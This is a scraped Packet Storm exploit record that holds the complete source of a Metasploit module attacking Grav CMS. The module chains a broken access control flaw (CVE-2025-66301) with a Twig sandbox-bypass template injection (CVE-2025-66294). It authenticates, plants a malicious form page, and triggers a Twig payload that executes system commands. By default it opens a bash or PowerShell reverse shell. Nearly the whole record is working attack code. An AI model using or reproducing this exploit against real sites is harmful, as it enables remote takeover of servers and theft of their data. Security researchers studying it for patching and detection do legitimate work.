{“lastseen”:”2025-12-12T17:14:07″,”description”:”This Metasploit module exploits a Server-Side Template Injection SSTI vulnerability CVE-2025-66294 in Grav CMS that allows bypassing the Twig sandbox to achieve remote code execution. The cleanDangerousTwig method uses weak regex that fails to sanitize…”,”published”:”2025-12-12T00:00:00″,”modified”:”2025-12-12T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:212777″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-66294″,”CVE-2025-66301″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Grav CMS Twig SSTI Authenticated Sandbox Bypass RCE’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a Server-Side Template Injection (SSTI)\\n vulnerability (CVE-2025-66294) in Grav CMS that allows bypassing the\\n Twig sandbox to achieve remote code execution. The cleanDangerousTwig\\n method uses weak regex that fails to sanitize nested Twig calls within\\n the evaluate_twig function. To inject the payload, this module leverages\\n CVE-2025-66301, a broken access control flaw that allows users with page\\n editing privileges to modify the form’s YAML frontmatter process section.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Tarek Nakkouch’\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-66294’],\\n [‘URL’, ‘https:\/\/github.com\/advisories\/GHSA-662m-56v4-3r8f’],\\n [‘CVE’, ‘2025-66301’],\\n [‘URL’, ‘https:\/\/github.com\/advisories\/GHSA-v8x2-fjv7-8hjh’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2025-12-01’,\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’, ‘win’],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Privileged’ =\\u003e false,\\n ‘Targets’ =\\u003e [\\n [\\n ‘Unix\/Linux Command Shell’,\\n {\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :unix_cmd,\\n ‘DefaultOptions’ =\\u003e { ‘PAYLOAD’ =\\u003e ‘cmd\/unix\/reverse_bash’ }\\n }\\n ],\\n [\\n ‘Windows Command Shell’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :win_cmd,\\n ‘DefaultOptions’ =\\u003e { ‘PAYLOAD’ =\\u003e ‘cmd\/windows\/powershell_reverse_tcp’ }\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n register_options(\\n [\\n Opt::RPORT(80),\\n OptString.new(‘TARGETURI’, [true, ‘Base path to Grav CMS’, ‘\/’]),\\n OptString.new(‘USERNAME’, [true, ‘Grav CMS username’]),\\n OptString.new(‘PASSWORD’, [true, ‘Grav CMS password’]),\\n OptString.new(‘FORM_NAME’, [false, ‘Form page name’, \\”form-#{Rex::Text.rand_text_alpha(8).downcase}\\”])\\n ]\\n )\\n end\\n \\n def check\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’),\\n ‘keep_cookies’ =\\u003e true\\n )\\n return CheckCode::Unknown(‘Connection failed’) unless res\\n \\n html = res.get_html_document\\n return CheckCode::Unknown(‘Could not parse HTML’) unless html\\n \\n # First, verify this is a Grav installation\\n return CheckCode::Safe(‘Target does not appear to be a Grav installation’) unless grav_installation?(html)\\n \\n # Then verify we have access to the login form\\n return CheckCode::Detected(‘Grav detected but login form not accessible’) unless login_form_present?(html)\\n \\n version_str = get_version_after_login\\n unless version_str\\n return CheckCode::Detected(‘Grav CMS detected but version could not be determined’)\\n end\\n \\n version = Rex::Version.new(version_str.gsub(‘-‘, ‘.’))\\n \\n if version \\u003c Rex::Version.new(‘1.8.0.beta.27’)\\n return CheckCode::Appears(\\”Grav CMS #{version_str} is vulnerable\\”)\\n end\\n \\n CheckCode::Safe(\\”Grav CMS #{version_str} is patched\\”)\\n rescue ArgumentError\\n CheckCode::Detected(\\”Grav CMS detected, version parsing failed: #{version_str}\\”)\\n rescue ::Rex::ConnectionError\\n CheckCode::Unknown(‘Connection failed’)\\n end\\n \\n def exploit\\n @form_folder = datastore[‘FORM_NAME’]\\n @form_name = \\”exploit-#{Rex::Text.rand_text_alpha(8).downcase}\\”\\n \\n login\\n fetch_admin_nonce\\n create_form_page\\n save_form_with_payload\\n fetch_frontend_nonces\\n execute_payload\\n end\\n \\n private\\n \\n def grav_installation?(html)\\n # Check for Grav-specific data attributes\\n grav_checks = [\\n html.at(‘\/\/*[@data-gpm-grav]’),\\n html.at(‘\/\/*[@data-grav-field]’),\\n html.at(‘\/\/*[@data-grav-disabled]’),\\n html.at(‘\/\/*[@data-grav-default]’)\\n ]\\n \\n grav_checks.count { |elem| !elem.nil? } \\u003e= 2\\n end\\n \\n def login_form_present?(html)\\n # Check for the specific login form inputs we need\\n username_input = html.at(‘input[@name=\\”data[username]\\”]’)\\n password_input = html.at(‘input[@name=\\”data[password]\\”]’)\\n \\n username_input \\u0026\\u0026 password_input\\n end\\n \\n def get_version_after_login\\n result = authenticate\\n return nil unless result == :success || result == :already_authenticated\\n \\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’),\\n ‘keep_cookies’ =\\u003e true\\n )\\n return nil unless res \\u0026\\u0026 res.code == 200\\n \\n html = res.get_html_document\\n return nil unless html\\n \\n version_elem = html.at(‘span.grav-version’)\\n return nil unless version_elem\\n \\n version_elem.text.strip\\n end\\n \\n def authenticate\\n res = send_request_cgi!(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’),\\n ‘keep_cookies’ =\\u003e true\\n )\\n return :connection_failed unless res\\n \\n html = res.get_html_document\\n return :connection_failed unless html\\n \\n nonce = html.at(‘input[@name=\\”login-nonce\\”]\/@value’)\\n return :already_authenticated if nonce.nil? \\u0026\\u0026 html.at(‘span.grav-version’)\\n return :connection_failed unless nonce\\n \\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’),\\n ‘keep_cookies’ =\\u003e true,\\n ‘vars_post’ =\\u003e {\\n ‘data[username]’ =\\u003e datastore[‘USERNAME’],\\n ‘data[password]’ =\\u003e datastore[‘PASSWORD’],\\n ‘task’ =\\u003e ‘login’,\\n ‘login-nonce’ =\\u003e nonce.text\\n }\\n )\\n return :connection_failed unless res\\n return :login_failed unless [302, 303].include?(res.code)\\n \\n :success\\n end\\n \\n def login\\n print_status(‘Authenticating…’)\\n result = authenticate\\n case result\\n when :already_authenticated\\n print_good(‘Already authenticated’)\\n when :success\\n print_good(‘Login successful’)\\n when :connection_failed\\n fail_with(Failure::Unreachable, ‘Connection failed’)\\n when :login_failed\\n fail_with(Failure::NoAccess, ‘Login failed’)\\n else\\n fail_with(Failure::UnexpectedReply, ‘Unexpected authentication error’)\\n end\\n end\\n \\n def fetch_admin_nonce\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’, ‘pages’),\\n ‘keep_cookies’ =\\u003e true\\n )\\n fail_with(Failure::Unreachable, ‘Connection failed’) unless res\\n fail_with(Failure::UnexpectedReply, \\”Unexpected response: #{res.code}\\”) unless res.code == 200\\n \\n html = res.get_html_document\\n fail_with(Failure::UnexpectedReply, ‘Could not parse admin page’) unless html\\n \\n nonce = html.at(‘input[@name=\\”admin-nonce\\”]\/@value’)\\n fail_with(Failure::UnexpectedReply, ‘Could not extract admin nonce’) unless nonce\\n \\n @admin_nonce = nonce.text\\n end\\n \\n def create_form_page\\n print_status(‘Creating malicious form page…’)\\n res = send_request_cgi!(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’, ‘pages’),\\n ‘keep_cookies’ =\\u003e true,\\n ‘vars_post’ =\\u003e {\\n ‘data[title]’ =\\u003e ‘Contact Form’,\\n ‘data[folder]’ =\\u003e @form_folder,\\n ‘data[route]’ =\\u003e ”,\\n ‘data[name]’ =\\u003e ‘form’,\\n ‘data[visible]’ =\\u003e ”,\\n ‘data[blueprint]’ =\\u003e ”,\\n ‘task’ =\\u003e ‘continue’,\\n ‘admin-nonce’ =\\u003e @admin_nonce\\n }\\n )\\n fail_with(Failure::Unreachable, ‘Connection failed’) unless res\\n \\n html = res.get_html_document\\n fail_with(Failure::UnexpectedReply, ‘Could not parse form page’) unless html\\n \\n form_nonce = html.at(‘input[@name=\\”form-nonce\\”]\/@value’)\\n unique_id = html.at(‘input[@name=\\”__unique_form_id__\\”]\/@value’)\\n fail_with(Failure::UnexpectedReply, ‘Could not extract form nonces’) unless form_nonce \\u0026\\u0026 unique_id\\n \\n @form_nonce = form_nonce.text\\n @unique_form_id = unique_id.text\\n end\\n \\n def save_form_with_payload\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’, ‘pages’, @form_folder, ‘:add’),\\n ‘keep_cookies’ =\\u003e true,\\n ‘vars_post’ =\\u003e {\\n ‘task’ =\\u003e ‘save’,\\n ‘data[header][title]’ =\\u003e ‘Contact Form’,\\n ‘data[content]’ =\\u003e ‘Please submit the form’,\\n ‘data[folder]’ =\\u003e @form_folder,\\n ‘data[route]’ =\\u003e ”,\\n ‘data[name]’ =\\u003e ‘form’,\\n ‘data[_json][header][form]’ =\\u003e form_payload_json,\\n ‘_post_entries_save’ =\\u003e ‘edit’,\\n ‘__form-name__’ =\\u003e ‘flex-pages’,\\n ‘__unique_form_id__’ =\\u003e @unique_form_id,\\n ‘form-nonce’ =\\u003e @form_nonce\\n }\\n )\\n fail_with(Failure::Unreachable, ‘Connection failed’) unless res\\n fail_with(Failure::Unknown, ‘Failed to save form’) unless [200, 302, 303].include?(res.code)\\n end\\n \\n def form_payload_json\\n {\\n ‘name’ =\\u003e @form_name,\\n ‘fields’ =\\u003e { ‘name’ =\\u003e { ‘type’ =\\u003e ‘text’, ‘label’ =\\u003e ‘Name’, ‘required’ =\\u003e true } },\\n ‘buttons’ =\\u003e { ‘submit’ =\\u003e { ‘type’ =\\u003e ‘submit’, ‘value’ =\\u003e ‘Submit’ } },\\n ‘process’ =\\u003e [{ ‘message’ =\\u003e \\”{{ evaluate_twig(form.value(‘name’)) }}\\” }]\\n }.to_json\\n end\\n \\n def fetch_frontend_nonces\\n res = send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, @form_folder),\\n ‘keep_cookies’ =\\u003e true\\n )\\n fail_with(Failure::Unreachable, ‘Connection failed’) unless res\\n fail_with(Failure::NotFound, ‘Form page not found’) unless res.code == 200\\n \\n html = res.get_html_document\\n fail_with(Failure::UnexpectedReply, ‘Could not parse frontend form’) unless html\\n \\n form_nonce = html.at(‘input[@name=\\”form-nonce\\”]\/@value’)\\n unique_id = html.at(‘input[@name=\\”__unique_form_id__\\”]\/@value’)\\n form_name = html.at(‘input[@name=\\”__form-name__\\”]\/@value’)\\n fail_with(Failure::UnexpectedReply, ‘Could not extract frontend nonces’) unless form_nonce \\u0026\\u0026 unique_id\\n \\n @frontend_nonce = form_nonce.text\\n @frontend_unique_id = unique_id.text\\n @frontend_form_name = form_name\\u0026.text || @form_name\\n end\\n \\n def execute_payload\\n print_status(‘Triggering payload execution…’)\\n send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, @form_folder),\\n ‘keep_cookies’ =\\u003e true,\\n ‘vars_post’ =\\u003e {\\n ‘data[name]’ =\\u003e twig_payload,\\n ‘__form-name__’ =\\u003e @frontend_form_name,\\n ‘__unique_form_id__’ =\\u003e @frontend_unique_id,\\n ‘form-nonce’ =\\u003e @frontend_nonce\\n }\\n }, datastore[‘HttpClientTimeout’])\\n end\\n \\n def twig_payload\\n cmd = payload.encoded\\n \\n twig_prefix = \\”{{ grav.twig.twig.registerUndefinedFunctionCallback(‘system’) }}\\” \\\\\\n \\”{% set a = grav.config.set(‘system.twig.undefined_functions’,false) %}\\” \\\\\\n \\”{{ grav.twig.twig.getFunction(‘\\”\\n twig_suffix = \\”‘) }}\\”\\n \\n case target[‘Type’]\\n when :win_cmd\\n encoded_cmd = Rex::Text.encode_base64(cmd.encode(‘UTF-16LE’))\\n \\n \\”#{twig_prefix}powershell -enc #{encoded_cmd}#{twig_suffix}\\”\\n \\n else\\n begin\\n require ‘zlib’\\n rescue LoadError =\\u003e e\\n fail_with(Failure::Unknown, \\”Failed to load zlib: #{e.message}\\”)\\n end\\n compressed = compress_deflate(cmd)\\n \\n # Strip newlines from base64 to avoid breaking Twig syntax\\n encoded_cmd = Rex::Text.encode_base64(compressed, ”)\\n \\n \\”#{twig_prefix}php -r \\\\\\”echo gzinflate(base64_decode(\\\\\\\\’#{encoded_cmd}\\\\\\\\’));\\\\\\” | sh#{twig_suffix}\\”\\n end\\n end\\n \\n def compress_deflate(data)\\n deflater = Zlib::Deflate.new(Zlib::BEST_COMPRESSION, -Zlib::MAX_WBITS)\\n compressed = deflater.deflate(data, Zlib::FINISH)\\n deflater.close\\n compressed\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212777″,”cvss”:{“score”:9.6,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212777\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-12T17:14:07″,”description”:”This Metasploit module exploits a Server-Side Template Injection SSTI vulnerability CVE-2025-66294 in Grav CMS that allows bypassing the Twig sandbox to achieve remote code execution….<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,62,12,13,53,7,11,5],"class_list":["post-30769","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-96","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n